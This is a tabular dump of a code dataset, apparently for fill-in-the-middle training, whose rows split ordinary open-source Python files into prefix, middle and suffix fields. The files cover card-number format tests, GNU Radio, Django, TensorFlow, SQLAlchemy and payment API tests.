repo_name
stringlengths
5
100
path
stringlengths
4
231
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
6
947k
score
float64
0
0.34
prefix
stringlengths
0
8.16k
middle
stringlengths
3
512
suffix
stringlengths
0
8.17k
joshleeb/CreditCard
tests/formatter_spec.py
Python
mit
3,269
0.000612
import os import sys import unittest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from creditcard import formatter class TestFormatter(unittest.TestCase): def test_visa_number(self): """should identify a visa card numbers.""" visa_number = 4024007183310266 ...
self.assertTrue(formatter.is_visa(visa_number)) def test_visa_number_string(self): """should identify a visa card number strings.""" visa_string = '4024007183310266' self.assertTrue(formatter.is_visa(visa_string)) def test_visa_ele
ctron_number(self): """should identify visa electron card numbers.""" visa_electron_number = 4175004688713760 self.assertTrue(formatter.is_visa_electron(visa_electron_number)) def test_visa_electron_number_string(self): """should identify visa electron card number strings.""" ...
pgoeser/gnuradio
gnuradio-examples/python/digital/benchmark_qt_rx2.py
Python
gpl-3.0
17,370
0.005354
#!/usr/bin/env python # # Copyright 2010 Free Software Foundation, Inc. # # This file is part of GNU Radio # # GNU Radio is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) ...
ng_notation.num_to_str(self._rx_freq)) raise ValueError, eng_notation.num_to_str(self._rx_freq) self.set_gain(options.rx_gain) # Set up receive path self.rxpath = receive_path(demodulator, rx_callback, options) # FIXME: do better exposure to lower issues for control ...
self._gain_phase = self.rxpath.packet_receiver._demodulator._phase_alpha self._gain_freq = self.rxpath.packet_receiver._demodulator._freq_alpha self.connect(self.u, self.rxpath) if self.gui_on: self.qapp = QtGui.QApplication(sys.argv) fftsize = 2048 bw...
parano/databricks_notebooks
notebooks/Users/[email protected]/git-deploy-test/nb.py
Python
mit
175
0.011429
# Databricks noteboo
k source exported at Sat, 20 Aug 2016 16:02:12 UTC for i in range(1000): print i # COMMAND ---------- print "did something new" # C
OMMAND ----------
lpatmo/actionify_the_news
open_connect/welcome/views.py
Python
mit
815
0
"""Views for when a user first visits.""" from django.core.urlresolvers import reverse from django.http import HttpResponseRedirect from django.views.generic import TemplateVie
w from open_connect.connect_core.utils.views import CommonViewMixin class WelcomeView(CommonViewMixin, TemplateView): """WelcomeView redirects users to the appropriate page based.""" template_name = 'welcome.html' title = "Welcome" def get(self, request, *args, **kwargs): """Process get requ...
if request.user.groups.all().exists(): return HttpResponseRedirect(reverse('threads')) else: return HttpResponseRedirect(reverse('groups')) return super(WelcomeView, self).get(request, *args, **kwargs)
coderfi/blog
public/2017/02/tf_circle.py
Python
mit
1,286
0.00311
#!/usr/bin/env python from __future__ import print_function import numpy as np import tensorflow as tf __version__ = "1" def tf_circle(radius): ''' Calculates the circumference and area of a circle, given the specified radius. Returns (circumferece, area) as two floats ''' # set up some co...
f.multiply(pi, two) # define the radius as a Tensorflow constant radius = tf.constant(radius, tf.float32) # our second computation graph! radius^2 radius_squared = tf.multiply(radius, radius) # the circumference of a circle is 2*pi*r circumference = tf.multiply(two_pi, radius) # the area...
ion() as sess: c = sess.run(circumference) a = sess.run(area) return c, a if __name__ == '__main__': # prompt for a radius r = float(raw_input('radius: ')) c, a = tf_circle(r) print(("For a circle with radius=%s, " "the circumference and radius are " "appr...
mattymo/fuel-docker-nailgun
etc/puppet/modules/cobbler/templates/scripts/late_command.py
Python
apache-2.0
3,022
0.000662
#!/usr/bin/python # # Copyright (C) 2011 Mirantis Inc. # # Authors: Vladimir Kozhukalov <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, version 3 of t...
te(content) gzip_file.close() content2 = gzipped.getvalue() else: content2 = content return b64encode(content2) def get_content(source, source_method): if source_method == 'file': try: f = open(source, 'r') content = f.read() f.close() ...
_content64(source, source_method, gzip=True): return base64_gzip(get_content(source, source_method), gzip).strip() def late_file(source, destfile, source_method='file', mode='0644', gzip=True): if gzip: return TEMPLATE_FILE % { 'mode': mode, 'content64': get_content64(source, s...
mrcslws/nupic.research
projects/dendrites/profiling/forward_profile.py
Python
agpl-3.0
4,642
0.001508
# ---------------------------------------------------------------------- # Numenta Platform for Intelligent Computing (NuPIC) # Copyright (C) 2021, Numenta, Inc. Unless you have an agreement # with Numenta, Inc., for a separate license for this software code, the # following terms and conditions apply: # # This progra...
rdMLP def func(model, device, input_size, epochs=100, dendrite=False): batch_size = 4096 use_cuda = device.type == "cuda" dummy_tensor = torch.rand((bat
ch_size, input_size), device=device) wall_clock = 0.0 for _ in range(epochs): if dendrite: dummy_context = torch.rand((batch_size, model.dim_context), device=device) s = time.time() with profiler.profile(record_shapes=True, use_cuda=use_cuda) as prof: ...
zeekay/flask-uwsgi-websocket
flask_uwsgi_websocket/_gevent.py
Python
mit
4,668
0.001071
import uuid from gevent import spawn, wait from gevent.event import Event from gevent.monkey import patch_all from gevent.queue import Queue, Empty from gevent.select import select from werkzeug.exceptions import HTTPException from .websocket import WebSocket, WebSocketMiddleware from ._uwsgi import uwsgi class Gev...
gi_app(environ, start_response) # do handshake uwsgi.websocket_handshake(environ['HTTP_SEC_WEBSOCKET_KEY'], environ.get('HTTP_ORIGIN', '')) # setup events send_event = Event() send_queue = Queue() recv_event = Event() recv_queu...
, uwsgi.connection_fd(), send_event, send_queue, recv_event, recv_queue, self.websocket.timeout) # spawn handler handler = spawn(handler, client, **args) # spawn recv listener def listener(client): # wait max `client...
sudheerchintala/LearnEraPlatForm
lms/djangoapps/django_comment_client/base/tests.py
Python
agpl-3.0
35,501
0.00231
import logging import json from django.test.client import Client, RequestFactory from django.test.utils import override_settings from django.contrib.auth.models import User from django.core.management import call_command from django.core.urlresolvers import reverse from mock import patch, ANY, Mock from nose.tools imp...
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_DISCUSSION_SERVICE": True}) def setUp(self): # Patching the ENABLE_DISCUSSION_SERVICE value affects the contents of urls.py, # so we need to call super.setUp() which reloads urls.py (because # of the UrlResetMixin) super(Views...
e_user=False) # create a course self.course = CourseFactory.create(org='MITx', course='999', display_name='Robot Super Course') self.course_id = self.course.id # seed the forums permissions and roles call_command('seed_permissions_roles...
andree1320z/deport-upao-web
deport_upao/extensions/authtools/forms.py
Python
mit
835
0.001198
from authtools.forms import AuthenticationForm from django.contrib.auth import authenticate from django.forms import forms class LoginForm(AuthenticationForm): def clean(self): username = self.cleaned_data.get('username') password = self.cleaned_data.get('password') if username and passwo...
params={'username': self.username_field.verbose_name},
) else: self.confirm_login_allowed(self.user_cache) return self.cleaned_data
gjr80/weewx
bin/weewx/__init__.py
Python
gpl-3.0
5,375
0.007814
# # Copyright (c) 2009-2021 Tom Keffer <[email protected]> # # See the file LICENSE.txt for your full rights. # """Package weewx, containing modules specific to the weewx runtime engine.""" from __future__ import absolute_import import time __version__="4.5.1" # Holds the program launch time in unix epoch secon...
xception thrown for an unknown aggregation type""" class CannotCalculate(ValueError): """Exception raised when a type cannot be calculated.""" # ============================================================================= # Possible event types. # ===========================================...
ed.""" class PRE_LOOP(object): """Event issued just before the main packet loop is entered. Services have been loaded.""" class NEW_LOOP_PACKET(object): """Event issued when a new LOOP packet is available. The event contains attribute 'packet', which is the new LOOP packet.""" class CHECK_LOOP(object): ...
nicko96/Chrome-Infra
infra_libs/logs/test/logs_test.py
Python
bsd-3-clause
1,197
0.003342
# Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is
governed by a BSD-style license that can be # found in the LICENSE file. import logging import unittest from infra_libs.logs import logs class InfraFilterTest(unittest.TestCase): def test_infrafilter_adds_correct_fields(self): record = logging.makeLogRecord({}) infrafilter = logs.InfraFilter('US/Pacific'...
ecord) self.assertTrue(hasattr(record, "severity")) self.assertTrue(hasattr(record, "iso8601")) def test_infraformatter_adds_full_module_name(self): record = logging.makeLogRecord({}) infrafilter = logs.InfraFilter('US/Pacific') infrafilter.filter(record) self.assertEqual('infra_libs.logs.tes...
OpenBEL/openbel-framework-examples
web-api/python/find-kam-node.py
Python
apache-2.0
2,020
0.000495
#!/usr/bin/env python2 # find-kam-node.py: python2 example of loading kam, resolving kam node, and # printing out BEL terms # # usage: find-kam-node.py <kam name> <source_bel_term> from random import choice from suds import * from ws import * import time def load_kam(client, kam_name): ''' ...
.wsdl') handle = load_kam(client, kam_name) print "loaded kam '%s', handle '%s'" % (kam_name, handle.handle) # create nodes using BEL term labels from command-line node = client.create("Node") node.label = source_term # resolve node result = client.service.ResolveNodes(handle, [node], None...
d node, id: %s" % (the_node.id) terms = client.service.GetSupportingTerms(the_node, None) for t in terms: print t else: print "edge not found" exit_success()
NicovincX2/Python-3.5
Génie logiciel/Architecture logicielle/Patron de conception/Patron de comportement/chaining_method.py
Python
gpl-3.0
645
0.003101
#!/usr/bin/env python # -*- coding: utf-8 -*- class Person(object): def __init__(self, name, action): self.name = name self.action = action def do_action(self): print(self.name, self.action.name, end=' ')
return self.action class Action(object): def __init__(self, name): self.name = name def amount(self, val): print(val,
end=' ') return self def stop(self): print('then stop') if __name__ == '__main__': move = Action('move') person = Person('Jack', move) person.do_action().amount('5m').stop() ### OUTPUT ### # Jack move 5m then stop
abinit/abinit
fkiss/mkrobodoc_dirs.py
Python
gpl-3.0
5,753
0.002607
#!/usr/bin/env python """ This script generates the ROBODOC headers located in the Abinit directories (e.g src/70_gw/_70_gw_) Usage: mkrobodoc_dirs.py abinit/src/ """ from __future__ import print_function import sys import os import fnmatch def is_string(s): """True if s behaves like a string (duck typing test)."...
top. Returns: Exit status. """ top = os.path.abspath(top) # Select files with these extensions. wildcard = WildCard("*.F90|*.finc") # Walk the directory tree starting from top
# Find the source files in the Abinit directories # and add their name to the _dirname_ file used by robodoc wrong_dirpaths = [] for dirpath, dirnames, filenames in os.walk(top): dirname = os.path.basename(dirpath) if "dirname" in ("__pycache__", ): continue robo_dfile = "_" + d...
SumiTomohiko/corgi
tools/constants.py
Python
mit
7,464
0.002144
# # Secret Labs' Regular Expression Engine # # various symbols used by the regular expression engine. # run this script to update the _sre include files! # # Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved. # # See the sre.py file for information on usage and redistribution. # """Internal support modul...
added or removed MAGIC = 20031017 # max code word in this release MAXREPEAT = 65535 # SRE standard exception (access as sre.error) # should this really be here? class error(Exception):
pass # operators FAILURE = "failure" SUCCESS = "success" ANY = "any" ANY_ALL = "any_all" ASSERT = "assert" ASSERT_NOT = "assert_not" AT = "at" BIGCHARSET = "bigcharset" BRANCH = "branch" CALL = "call" CATEGORY = "category" CHARSET = "charset" GROUPREF = "groupref" GROUPREF_IGNORE = "groupref_ignore" GROUPREF_EX...
flipdazed/SoftwareDevelopment
game_art.py
Python
gpl-3.0
6,677
0.025161
# start of a UI art class import subprocess class Art(object): def __init__(self): """Define some artistic constants""" ## Artistic structures self.title_len = 72 self.flare = "~" self.flare2 = ":" self.title_start = 10*self.flare self.underline = self.title_...
index_buffer = " " self.shop_options = \ "Shop Options :: [#] Buy Card # [S] = Buy Supplement [E] = Exit Sho
p" self.card_options = \ "Card Options :: [P] Play All [#] = Play Card # [B] :: Buy Cards" self.game_options = \ "Game Actions :: [A] Attack! [E] = End Turn [Q] :: Quit Game" self.continue_game = \ "Game Actions :: [..] Enter to proceed ...
endlessm/chromium-browser
third_party/catapult/devil/devil/android/forwarder.py
Python
bsd-3-clause
18,608
0.007309
# Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # pylint: disable=W0212 import fcntl import inspect import logging import os import psutil import textwrap from devil import base_error from devil impo...
. Ignore all errors. logger.warning('Failed to get the contents of the logcat.') # Log alive device forwarders. try: ps_out = device.RunShellCommand(['ps'], check_return=True) logger.i
nfo('Currently running device_forwarders:') for line in ps_out: if 'device_forwarder' in line: logger.info(' %s', line) except (device_errors.CommandFailedError, device_errors.DeviceUnreachableError): logger.warning('Failed to list currently running device_forwarder ' ...
bitcraft/tailor
tests/scratch.py
Python
gpl-3.0
437
0.002288
import asyncio import time from functools import
partial def wait(): print('work') return asy
ncio.get_event_loop().run_in_executor(None, partial(time.sleep, 5)) begin = time.time() print('begin') @asyncio.coroutine def main(): yield from asyncio.wait([ wait(), wait(), wait(), wait(), ]) asyncio.get_event_loop().run_until_complete(main()) print('end') print(time.ti...
jasmin-j/distortos
scripts/PrettyPrinters/__init__.py
Python
mpl-2.0
826
0.012107
# # file: __init__.py # # author: Copyright (C) 2017 Kamil Szczygiel http://www.distortec.com http://www.freddiechopin.info # # This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not # distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0...
############################## def registerPrettyPrinters(obj): """Register pretty-printers.""" import PrettyPrinters.estd PrettyPrinters.estd.registerPrettyPrinters(obj) import PrettyP
rinters.distortos PrettyPrinters.distortos.registerPrettyPrinters(obj)
rebost/django
django/contrib/gis/tests/test_spatialrefsys.py
Python
bsd-3-clause
6,715
0.006255
from django.db import connection from django.contrib.gis.gdal import HAS_GDAL from django.contrib.gis.tests.utils import (no_mysql, oracle, postgis, spatialite, HAS_SPATIALREFSYS, SpatialRefSys) from django.utils import unittest test_srs = ({'srid' : 4326, 'auth_name' : ('EPSG', True), '...
"Testing the ellipsoid property." for sd in test_srs: # Getting the ellipsoid and precision parameters. ellps1 = sd['ellipsoid'] prec = sd['eprec'] # Getting our spatial reference and its ellipsoid srs = SpatialRefSys.objects.get(srid=sd['srid']) ...
ellps1[i], ellps2[i], prec[i]) def suite(): s = unittest.TestSuite() s.addTest(unittest.makeSuite(SpatialRefSysTest)) return s def run(verbosity=2): unittest.TextTestRunner(verbosity=verbosity).run(suite())
tfroehlich82/EventGhost
eg/Classes/SerialPortChoice.py
Python
gpl-2.0
2,115
0.000946
# -*- coding: utf-8 -*- # # This file is part of EventGhost. # Copyright © 2005-2020 EventGhost Project <http://www.eventghost.net/> # # EventGhost is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free # Software Foundation, either versio...
ass SerialPortChoice(wx.Choice): """ A wx.Choice contr
ol that shows all available serial ports on the system. """ def __init__( self, parent, id=-1, pos=wx.DefaultPosition, size=wx.DefaultSize, style=0, validator=wx.DefaultValidator, name=wx.ChoiceNameStr, value=None ): """ ...
washort/zamboni
mkt/constants/tests/test_platforms.py
Python
bsd-3-clause
1,212
0
from django.test.client import RequestFactory from nose.tools import eq_ from django.utils.translation import ugettext as _ import mkt.site.tests from mkt.constants.platforms import FREE_PLATFORMS, PAID_PLATFORMS class TestPlatforms(mkt.site.tests.TestCase): def test_free_platforms(self): platforms = FR...
forms, expected) def test_paid_platforms_android_payments_waffle_on(self): self.create_flag('android-payments') platforms = PAID_PLATFORMS(request=RequestFactory()) expected = ( ('paid-firefoxos', _('Firefox OS')),
('paid-android-mobile', _('Firefox Mobile')), ('paid-android-tablet', _('Firefox Tablet')), ) eq_(platforms, expected)
indictranstech/biggift-erpnext
erpnext/accounts/report/item_wise_purchase_register/item_wise_purchase_register.py
Python
agpl-3.0
4,830
0.022774
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import flt def execute(filters=None): if not filters: filters = {} columns = get_columns() last...
item_tax.setdefault(parent, {}).setdefault(d.item_code, {})[account_head] = \ (tax_amount * d.base_net_amount) / d.base_net_total tax_accounts.sort() columns += [account_head + ":Currency:80" for a
ccount_head in tax_accounts] columns += ["Total Tax:Currency:80", "Total:Currency:80"] return item_tax, tax_accounts
sloev/data-pie
data-pie/network/OscClientTest.py
Python
gpl-2.0
636
0.031447
''' Created on Nov 7, 2013 @author: johannes ''' from Bonjour import Bonjour from Osc import Osc import time import OSC def main(): name="oscTestServer" regtype='_osc._udp' b=Bonjour(name,regtype) b.runBrowser() try: c=None while(c==None): c=b.getFirstClient() ...
time.sleep(1) osc=Osc(c.serviceName,c.regType,c.ip,c.port)
while 1: osc.sendTestMessage() time.sleep(4) except KeyboardInterrupt: b.stopBrowser() osc.stopOscServerClient() if __name__ == '__main__': main()
iut-ibk/Calimero
site-packages/pybrain/tools/fisher.py
Python
gpl-2.0
1,728
0.008681
__author__ = 'Tom Schaul, [email protected]' from pybrain.utilities import blockCombine from scipy import mat, dot, outer from scipy.linalg import inv, cholesky def calcFisherInformation(sigma, invSigma=None, factorSigma=None): """ Compute the exact Fisher Information Matrix of a Gaussian distribution, ...
w = invSigma[k, k] wr = w + factorSigma[k, k] ** -2 u = dot(invD, v) s = dot(v, u) q = 1 / (w - s)
qr = 1 / (wr - s) t = -(1 + q * s) / w tr = -(1 + qr * s) / wr invF.append(blockCombine([[qr, tr * u], [mat(tr * u).T, invD + qr * outer(u, u)]])) invD = blockCombine([[q , t * u], [mat(t * u).T, invD + q * outer(u, u)]]) invF.append(sigma) invF.reverse() re...
karan259/GrovePi
Software/Python/grove_slide_potentiometer.py
Python
mit
2,307
0.003901
#!/usr/bin/env python # # GrovePi Example for using the Grove Slide Potentiometer (http://www.seeedstudio.com/wiki/Grove_-_Slide_Potentiometer) # # The GrovePi connects the Raspberry Pi and Grove sensors. You can learn more about GrovePi here: http://www.dexterindustries.com/GrovePi # # Have a question about this exa...
is software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subjec...
d this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL T...
ychen820/microblog
y/google-cloud-sdk/platform/google_appengine/lib/django-1.3/django/core/exceptions.py
Python
bsd-3-clause
2,767
0.004698
""" Global Django exception and warning classes. """ class DjangoRuntimeWarning(RuntimeWarning): pass class ObjectDoesNotExist(Exception): "The requested object does not exist" silent_variable_failure = True class MultipleObjectsReturned(Exception): "The query returned multiple objects when only one w...
ttr(self, 'message_dict'): if error_dict: for k, v in self.message_dict.items(): error_dict.setde
fault(k, []).extend(v) else: error_dict = self.message_dict else: error_dict[NON_FIELD_ERRORS] = self.messages return error_dict
tosaka2/tacotron
datasets/preprocessed_dataset.py
Python
mit
4,099
0.002684
import numpy as np import os import random import threading import time import traceback from util import cmudict, textinput from util.infolog import log import chainer _batches_per_group = 32 _p_cmudict = 0.5 _pad = 0 # https://github.com/chainer/chainer/blob/1ad6355f8bfe4ccfcf0efcfdb5bd048787069806/examples/imagene...
? def _maybe_get_arpabet(self, word): pron = self._cmudict.lookup(word) return '{%s}' % pron[0] if pron is not None and random.random() < 0.5 else word def _prepare_batch(batch, outputs_per_step): random.shuffle(batch) inputs = _prepare_inputs([x[0] for x in batch]) inpu...
np.int32) mel_targets = _prepare_targets([x[1] for x in batch], outputs_per_step) linear_targets = _prepare_targets( [x[2] for x in batch], outputs_per_step) return (inputs, input_lengths, mel_targets, linear_targets) def _prepare_inputs(inputs): max_len = max((len(x) fo...
bit-bots/imagetagger
src/imagetagger/annotations/migrations/0008_auto_20170826_1533.py
Python
mit
1,648
0.001214
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2017-08-26 13:33 from __future__ import unicode_literals import django.contrib.postgres.fields.jsonb from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('annotations', '0007_auto_20170826_1446'), ] def...
apps, schema_editor): raise NotImplementedError('not co
mpletely reversible in one transaction!') Annotation = apps.get_model("annotations", "Annotation") db_alias = schema_editor.connection.alias # Set not_in_image and vector to a not-NULL value where vector is NULL for annotation in Annotation.objects.using(db_alias).all(): if ...
bayesimpact/bob-emploi
frontend/server/mail/all_campaigns.py
Python
gpl-3.0
25,058
0.002116
"""Module to access all emailing campagins.""" import datetime from typing import Any, Dict from urllib import parse from bob_emploi.frontend.api import job_pb2 from bob_emploi.frontend.api import project_pb2 from bob_emploi.frontend.api import user_pb2 from bob_emploi.frontend.server import auth from bob_emploi.fron...
ENCE_AS_TEXT.get(project.seniority, 'peu'), 'inWorkPlace': in_a_workplace, 'jobName': french.lower_first_letter(fre
nch.genderize_job( project.target_job, user.profile.gender)), 'lastName': user.profile.last_name, 'likeYourWorkplace': like_your_workplace, 'someCompanies': some_companies, 'toTheWorkplace': to_the_workplace, 'weeklyApplicationsCount': weekly_applications_count, ...
ghwatson/SpanishAcquisitionIQC
spacq/devices/cryomagnetics/model4g.py
Python
bsd-2-clause
27,107
0.011731
import logging log = logging.getLogger(__name__) from spacq.interface.resources import Resource from spacq.tool.box import Synchronized from spacq.interface.units import Quantity from time import sleep from functools import wraps from ..abstract_device import AbstractDevice, AbstractSubdevice from ..tools import quan...
get = self.magnet_current.original_value def _wait_for_sweep(self): ''' This is an internal function that loops until a sweep is complete. This allows some of the virtual features to wait until a sweep is complete before performi
ng other commands. ''' for i in xrange(0,2): current_sweep = self.sweep if current_sweep == 'Sweeping up': while current_sweep != 'Pause' and self.power_supply_current != self.high_limit: sleep(0.1) #give the GPIB some breathing space....
SAlkhairy/trabd
voting/forms.py
Python
agpl-3.0
633
0.004739
# -*- codi
ng: utf-8 -*- from __future__ import unicode_literals from django import forms from . import models from dal import autocomplete class NominationForm(forms.ModelForm): class Meta: model = models.Nomination fields = ['plan', 'cv', 'certificates', 'gpa'] # To be used in the admin interfa...
class Meta: model = models.UnelectedWinner fields = ('__all__') widgets = { 'user': autocomplete.ModelSelect2(url='voting:user-autocomplete', attrs={'data-html': 'true'}) }
ProjectSWGCore/NGECore2
scripts/loot/lootPools/rare_buff_items.py
Python
lgpl-3.0
223
0.080717
d
ef itemTemplates(): names = ['rare_nova_crystal','rare_rol_stone','rare_power_gem'] names += ['rare_corusca_gem','rare_sasho_gem','rare_ankarres_sapphire'] return names def itemChances(): return [15,17,1
7,17,17,17]
pasupulaphani/spacy-nlp-docker
thrift/gen-py/spacyThrift/ttypes.py
Python
mit
3,069
0.016944
# # Autogenerated by Thrift Compiler (0.9.3) # # DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING # # options string: py # from thrift.Thrift import TType, TMessageType, TException, TApplicationException from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol, TProtocol tr...
rotocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) re
turn iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.word = iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype ==...
heilaaks/snippy
snippy/storage/storage.py
Python
agpl-3.0
4,733
0.001056
# -*- coding: utf-8 -*- # # SPDX-License-Identifier: AGPL-3.0-or-later # # snippy - software development and maintenance notes manager. # Copyright 2017-2020 Heikki J. Laaksonen <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU ...
ported into database. """ self._logger.debug('import content') _ = self._database.insert(collection) # noqa: F841
def disconnect(self): """Disconnect storage.""" if self._database: self._database.disconnect() self._database = None def debug(self): """Debug storage.""" if self._database: self._database.debug()
eplanet/diffbuilder
test/test_diffbuilder.py
Python
gpl-2.0
3,512
0.005439
#Python 3.4 import unittest, os, random, shutil from diffbuilder.diffbuilder import DiffBuilder class TestDiffBuilder(unittest.TestCase): def setUp(self): rndTestDirPath = "%032x" % random.getrandbits(128) self.testDir = os.path.join("/tmp", rndTestDirPath) if os.path.exists(self.testDir)...
xists(os.path.join(self.db.out, "subdir"))) self.assertTrue(os.path.exists(os.path.join(self.db.out, "subdir", "differents"))) self.assertTrue(os.path.exists(os.path.join(self.db.out, "subdir", "onlycmp"))) scriptFile = open(self.db.spt, 'r') scriptLines = [line.strip() for line in scri...
("rm subdir/onlyref" in scriptLines) self.assertTrue("rm onlyref" in scriptLines) if __name__ == '__main__': unittest.main()
ternaris/flask-restless
tests/test_search.py
Python
bsd-3-clause
17,467
0
""" tests.test_search ~~~~~~~~~~~~~~~~~ Provides unit tests for the :mod:`flask_restless.search` module. :copyright: 2012, 2013, 2014, 2015 Jeffrey Finkelstein <[email protected]> and contributors. :license: GNU AGPLv3+ or BSD """ from nose.tools import assert_raises f...
""" def test_empty_search(self): """Tests that a query with no search parameters returns everything.""" quer
y = create_query(self.session, self.Person, {}) assert query.all() == self.people def test_dict_same_as_search_params(self): """Tests that creating a query using a dictionary results in the same query as creating one using a :class:`flask_restless.search.SearchParameters` object. ...
programmdesign/checkmate
checkmate/contrib/plugins/git/lib/repository.py
Python
agpl-3.0
19,633
0.022717
# -*- coding: utf-8 -*- """ This file is part of checkmate, a meta code checker written in Python. Copyright (C) 2015 Andreas Dewes, QuantifiedCode UG This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Fou...
PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ from __future__ import unicode_literals import os import subprocess import datetime impo...
t time import logging import traceback import select import fcntl import shutil import StringIO import tempfile from collections import defaultdict logger = logging.getLogger(__name__) class GitException(BaseException): pass def get_first_date_for_group(start_date,group_type,n): """ :param start: star...
iogf/candocabot
plugins/jumble/jumble.py
Python
apache-2.0
5,167
0.012193
try: from collections import Counter except: from Counter import Counter # For Python < 2.7 import traceback import wordList import anagram import random import math import re # Allows channel mem
bers to play an acronym-based word game. # !jumble [min [max]] -- starts a new round, optionally setting the min and max length of words. # !jumble end -- stops the current game. # <guess> -- users must unjumble the given word and present their solution as a single word. # !unjumble <word> -- lists all the acronyms of ...
g for # the channel given by VOCAB_CHANNEL, tailored to match the vocabulary of that channel. VOCAB_CHANNEL = '#calculus' # If plugins.define.define is loaded, the definitions of any mentioned words will also be given. words = set(wordList.fromFile('plugins/jumble/words.txt')) logged = nicks = None try: logged = ...
Eric89GXL/scipy
scipy/sparse/linalg/tests/test_matfuncs.py
Python
bsd-3-clause
20,275
0.001578
# # Created by: Pearu Peterson, March 2002 # """ Test functions for scipy.linalg.matfuncs module """ from __future__ import division, print_function, absolute_import import math import numpy as np from numpy import array, eye, exp, random from numpy.linalg import matrix_power from numpy.testing import ( asse...
: ndarray representing a square matrix A Forsythe matrix of order n, raised to the power p. """ # Input validation. if n != int(n) or n < 2: raise ValueError('n must be an integer greater than 1') n = int(n) if p !=
int(p) or p < 0: raise ValueError('p must be a non-negative integer') p = int(p) # Construct the matrix explicitly. a, b = divmod(p, n) large = np.power(10.0, -n*a) small = large * np.power(10.0, -n) return np.diag([large]*(n-b), b) + np.diag([small]*b, b-n) def test_onenorm_matrix_p...
gralog/gralog
gralog-fx/src/main/java/gralog/gralogfx/piping/thinger.py
Python
gpl-3.0
311
0.061093
f = open("colorFormatter.txt","r"); name = f.readline(); c = f.readline(); colors = []; while (name != "" or name == None): colors.append((name,c)
); f.readline(); name = f.readline(); c = f.readline(); for x in colors: print('colorPresets.put(\"' + x[0].strip() + '\",\"' + x[1].
strip() + '\");');
QinerTech/QinerApps
openerp/addons/hr_payroll_account/hr_payroll_account.py
Python
gpl-3.0
9,968
0.004013
#-*- coding:utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import time from datetime import date, datetime, timedelta from openerp.osv import fields, osv from openerp.tools import float_compare, float_is_zero from openerp.tools.translate import _ from openerp.exceptions import Use...
ne_pool = self.pool['hr.paysli
p.line'] precision = self.pool.get('decimal.precision').precision_get(cr, uid, 'Payroll') timenow = time.strftime('%Y-%m-%d') for slip in self.browse(cr, uid, ids, context=context): line_ids = [] debit_sum = 0.0 credit_sum = 0.0 date = timenow ...
USStateDept/DiplomacyExplorer2
dipex/layerinfo/management/commands/loadpadata.py
Python
mit
7,839
0.007016
from django.core.management.base import BaseCommand, CommandError from layerinfo.models import Theme,Issue,Layer, PointLayer, Points import json from os import listdir from os.path import isfile, join import csv import sys from optparse import make_option from geopy import geocoders #from polls.models import Poll cla...
": currentlayer.timeSeriesInfo = layerrow['timeSeriesInfo'] else: currentlayer.timeSeriesInfo = {} currentlayer.save() #now let's test print "*********we now have the following" themes = Theme.objects.all() print...
issues = theme.issue_set.all() print "\t", theme.title, "has ", len(issues), "issues" for issue in issues: layers = issue.layer_set.all() print "\t\t", issue.categoryName, "has", len(layers), "Layers" for layer in layers: ...
monetate/sqlalchemy
test/dialect/oracle/test_compiler.py
Python
mit
57,768
0.000035
# coding: utf-8 from sqlalchemy import and_ from sqlalchemy import bindparam from sqlalchemy import Computed from sqlalchemy import exc from sqlalchemy import except_ from sqlalchemy import ForeignKey from sqlalchemy import func from sqlalchemy import Identity from sqlalchemy import Index from sqlalchemy import Integer...
b_part) ) q = select( included_parts.c.sub_part, func.sum(included_parts.c.quantit
y).label("total_quantity"), ).group_by(included_parts.c.sub_part) self.assert_compile( q, "WITH included_parts(sub_part, part, quantity) AS " "(SELECT part.sub_part AS sub_part, part.part AS part, " "part.quantity AS quantity FROM part WHERE part.part = :...
Mangopay/mangopay2-python-sdk
tests/test_banking_aliases.py
Python
mit
3,255
0.013518
# -*- coding: utf-8 -*- from tests import settings from tests.resources import BankingAliasIBAN, BankingAlias from tests.test_base import BaseTest, BaseTestLive import responses class BankingAliasesTest(BaseTest): @responses.activate def test_banking_alias(self): self.mock_natural_user() sel...
9420/bankingaliases/iban', 'body': { "OwnerName": "Victor", "IBAN": "LU32062DZDP2JLJU9RP3", "BIC": "MPAYFRP1EMI", "CreditedUserId":"25337926", "Country":"LU", "Tag": "null", ...
